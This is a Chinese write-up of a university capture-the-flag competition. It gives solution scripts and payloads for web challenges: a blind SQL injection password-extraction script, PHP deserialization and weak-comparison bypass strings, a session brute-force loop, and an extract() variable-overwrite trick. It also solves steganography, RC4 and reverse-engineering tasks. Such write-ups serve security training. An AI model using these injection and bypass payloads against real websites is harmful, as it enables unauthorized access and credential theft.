# 高校运维赛writeup

## Web

### Login

http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php

手工测试下，存在注入，写一个脚本跑密码

```
#!/usr/bin/env python
#coding:utf-8
import requests
import urllib

url = "http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
#hex_s = '  !"#$%&`()*+,-./0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}~'
hex_s =
["20","21","22","23","24","25","26","27","28","29","2A","2B","2C","2D","2E","2F","30","31","32","33","34","35","36","37","38","39","3A","3B","3C","3C","3D","3E","3F","40","41","42","43","44","45","46","47","48","49","4A","4B","4C","4D","4E","4F","50","51","52","53","54","55","56","57","58","59","5A","5B","5C","5D","5E","5F","60","61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","7B","7D","7E","7F"]
old_char = ''
payload = "'-(pwd>binary(0x{0}))-'"

def access(p):
    param = payload.format(old_char+p)
    data = {
        'uname':urllib.unquote(param),
        'pwd':'1',
    }
    res = requests.post(url,data=data).content
    # print param
    # print data
    # print res
    if 'no such user' in res:
        return True
    else:
        return False

# def access(p):
#   param = payload.format(old_char+p)
#   res = requests.get(url+param,headers=headers).content
#   #print param,res
#   if 'admin' in res:
#       return True
#   else:
#       return False

def erfen():
    global old_char
    for y in hex_s:
        l = 0
        r = len(hex_s)
        while l<r:
            mid = (l+r)/2
            if access(hex_s[mid]): # 如果为1,说明flag该位的值大于mid
                l = mid+1
            else:
                r = mid
        old_char += hex_s[l-1]
        #print l
        if l > 94:
            return old_char[:-2].decode('hex')
            break
        print 'data => ',old_char.decode('hex')

if __name__ == '__main__':
    s = erfen()
    print 'flag:',s[:-1]+chr(ord(s[-1])+1)
```

最后跑出来 `fsaoaigafsdfsdubbwouibiaewrawe` 登录进去拿到flag

## PHP是最好的语言

http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php

发现 `index.php.bak` 文件，下载下来

```php
<?php
$v1=0;$v2=0;$v3=0;
$a=(array)unserialize(@$_GET['foo']);
if(is_array($a)){
    is_numeric(@$a["param1"])?exit:NULL;
    if(@$a["param1"]){
        ($a["param1"]>2017)?$v1=1:NULL;
    }
    if(is_array(@$a["param2"])){
        if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) exit;
        $pos = array_search("nudt", $a["param2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["param2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
$c=@$_GET['egg'];
$d=@$_GET['fish'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("M|n|s",$d.$c[0])?err():NULL;
        strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}

?>
```

主要考察的php的弱类型比较，array_search,eregi函数的漏洞 POC:

```php
<?php

$poc = array(
    'param1'=>'2018a',
    'param2'=>array(
        0=>array(),
        1=>true,
        2=>'',
        3=>'',
        4=>''
        )

);

$foo = serialize($poc);
echo $foo;
//egg[0]=%00MyAns&egg[1][]=1&fish[]=2
```

最后提交:

```
/index.php?foo=a:2:{s:6:"param1";s:5:"2018a";s:6:"param2";a:5:{i:0;a:0:{}i:1;b:1;i:2;s:0:"";i:3;s:0:"";i:4;s:0:"";}}&egg[0]=%00MyAns&egg[1][]=1&fish[]=2
```

## 随机数

http://202.112.26.124:8080/280a31eec4c62a893ad40a6508d207c8/index.php

发现 `/index.php.bak` 文件，内容为:

```php
<?php
include("flag.php");
session_start();
if(isset($_GET['code']) &&
intval($_GET['code'])===$_SESSION['code'])die($flag);
else{echo "wrong answer!";}
srand(rand(0,MAX_NUM));
for($i=0;$i<3;$i++)
echo "<h3>randnum$i:".rand(0,MAX_NUM)."</h3><br>";
$_SESSION['code']=rand(0,MAX_NUM);
?>
<form action="" method="get">
the next random num is:<input type="text" name="code"/>
<input type="submit"/>
</form>
```

这里伪随机数函数srand的种子未知，根本无法预测下一个值， 但这样验证结束后并没有销毁session值，导致验证码可以被爆破
爆破脚本如下：

```
import requests

url = 'http://202.112.26.124:8080/280a31eec4c62a893ad40a6508d207c8/index.php'

s = requests.session()
# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
# html = s.get(url,headers=headers)

for i in range(1000):
    url2 = url+'?code='+str(i)
    res = s.get(url2)
    print res.content
    if 'EIS' in res.content:
        print res.content
        break
```

## PHP代码审计

http://202.112.26.124:8080/edd1620126f2caeb5c2b3b9452fa2639/index.php
源码内容为:

```
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
```

这里因为用了正则`"/^\w+$/",` 来过滤参数，没法利用eval函数来拼接字符串， 我们这里可以想办法输出一些全局变量，输入`index.php?args=GLOBALS` 发现在`$GLOBALS`数组中有flag

## 快速计算

需要在半秒内计算结果， 脚本题，正则匹配下就行

```
import requests
import re


url = 'http://202.120.7.220:2333/index.php'
s = requests.session()
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
html = s.get(url,headers=headers)
code = re.findall('<br/>(.*?)\=',html.content)
code = eval(code[0])
data = {
    'v':code
}
res = s.post(url,data)
print res.content
```

## php trick

http://202.120.7.221:2333/

查看源码发现源代码

```
        index.php
        <?php
        $flag='xxx';
        extract($_GET);
        if(isset($gift)){
            $content=trim(file_get_contents($flag));
            if($gift==$content){
               echo'flag';     }
             else{
               echo'flag被加密了 再加密一次就得到flag了';}
             }
        ?>
```

很明显的extract函数导致的变量覆盖漏洞，提交 `index.php?gift=123&flag=php://input` POST数据内容为 `123` 这样gift和flag变量的值都是123( 这题好像被挂了)

## 不是管理员也能login

http://202.120.7.206:2333/

看说明与帮助页面有部分代码:

```
 $test=$_GET['userid']; $test=md5($test);
  if($test != '0'){
        $this->error('用户名有误,请阅读说明与帮助！');
    }
..

$pwd =$this->_post("password");
$data_u = unserialize($pwd);
if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')
    {
      print_r($flag);
    }
```

可知用户名userid 用弱类型比较可以绕过，　密码传入一个序列化数组，同样是用弱类型来绕过: 最后提交的数据为: `userid=240610708&password=a:2:{s:4:"name";b:1;s:3:"pwd";b:1;}`

# Misc

## 隐藏在黑夜里的秘密

https://play.sec.edu-info.edu.cn/attachment/download/black.zip

`binwalk -e` 提取压缩包, 得到一张bmp图片, LSB隐写，用stegsolve打开就可以看到了

## easy crypto

小明在密码学课上新学了一种加密算法，你能帮他看看么 https://play.sec.edu-info.edu.cn/attachment/download/enc.zip

附件的伪代码如下：

```
get buf unsign s[256]
get buf t[256]
we have key:hello world
we have flag:????????????????????????????????
for i:0 to 256
set s[i]:i
for i:0 to 256
    set t[i]:key[(i)mod(key.lenth)]
for i:0 to 256
    set j:(j+s[i]+t[i])mod(256)
        swap:s[i],s[j]
for m:0 to 37
    set i:(i + 1)mod(256)
    set j:(j + S[i])mod(256)
    swap:s[i],s[j]
    set x:(s[i] + (s[j]mod(256))mod(256))
    set flag[m]:flag[m]^s[x]
fprint flagx to file
```

很明显的rc4算法，　把密钥是hello,world ,密码是enc.txt里的内容，用十六进制解密后再用rc4解密就可以得到flag

## 签到题

扫描得flag, 真正的签到

## ReverseMe

简单的windows逆向，输入正确的字符串即可拿到flag^_^　https://play.sec.edu-info.edu.cn/attachment/download/ReverseMe.zip

1. `PEID`查壳，32位无壳
2. 拖进`IDA`打开，查看字符串

```
    if ( sub_4014A0((int)v13, (int)&v5, v1) )
      printf("congratulations, your input is the flag ^_^");
    else
      printf("try agian");
```

3.进入`sub_4014A0`函数

```
  if ( a3 == 0x19 )
  {
    v5 = 0;
    do
    {
      v6 = __ROL1__(*(_BYTE *)(a1 + v5), 2);
      v36[v5++] = v6;
    }
    while ( v5 != 0x19 );
    v7 = 0;
    do
    {
      v36[v7] ^= sub_401460(a2, v7);
      ++v7;
    }
    while ( v7 != 0x19 );
    v8 = 0xF;
    for ( i = 0; v36[i] == v8; v8 = *(&v10 + i) )
    {
      if ( ++i == 0x19 )
        return 1;
    }
  }
```

flag长度25,对输入进行循环左移，异或，结果和下列数据比较：

```
0xF,0x87,0x62,0x14,1,0xC6,0xF0,0x21,0x30,0x11,0x50,0xD0,0x82,0x23,0xAE,0x
23,0xEE,0xA9,0xB4,0x52,0x78,0x57,0xC,0x86,0x8B
```

4. `x32dbg` 动态调试，地址跳转 `4014A0` ，在异或的地方下断点

```
00401589 | 89 34 24                 | mov dword ptr ss:[esp],esi
     |
0040158C | E8 CF FE FF FF           | call reverseme.401460
     |
00401591 | 30 44 1C 28              | xor byte ptr ss:[esp+ebx+28],al
     |
00401595 | 83 C3 01                 | add ebx,1
     |
00401598 | 83 FB 19                 | cmp ebx,19
     |
0040159B | 75 E8                    | jne reverseme.401585
     |
0040159D | BA 0F 00 00 00           | mov edx,F
     |
```

按 `F9` run到断点处， `F8` 单步调试获得异或数据：

```
1A2F943C4D8C5B6EA3C9BCAD7E
```

异或的方法是每次取一`byte`,增量是`4bit`,例如:

```
1A,A2,2F...
```

两个字符串都得到了，只要再异或一次就可以的到上一步循环左移后的数据，脚本:

```
s=[0xF,0x87,0x62,0x14,1,0xC6,0xF0,0x21,0x30,0x11,0x50,0xD0,0x82,0x23,0xAE,0x23,0xEE,0xA9,0xB4,0x52,0x78,0x57,0xC,0x86,0x8B]
str='1A2F943C4D8C5B6EA3C9BCAD7E'
bb = []
for i in range(25):
    a = str[i:i+2]
    print bin(int(a,16) ^ s[i])
```

手动补全为`8bit`,逐字节循环右移两位，最后用`chr()`处理一下就ok了。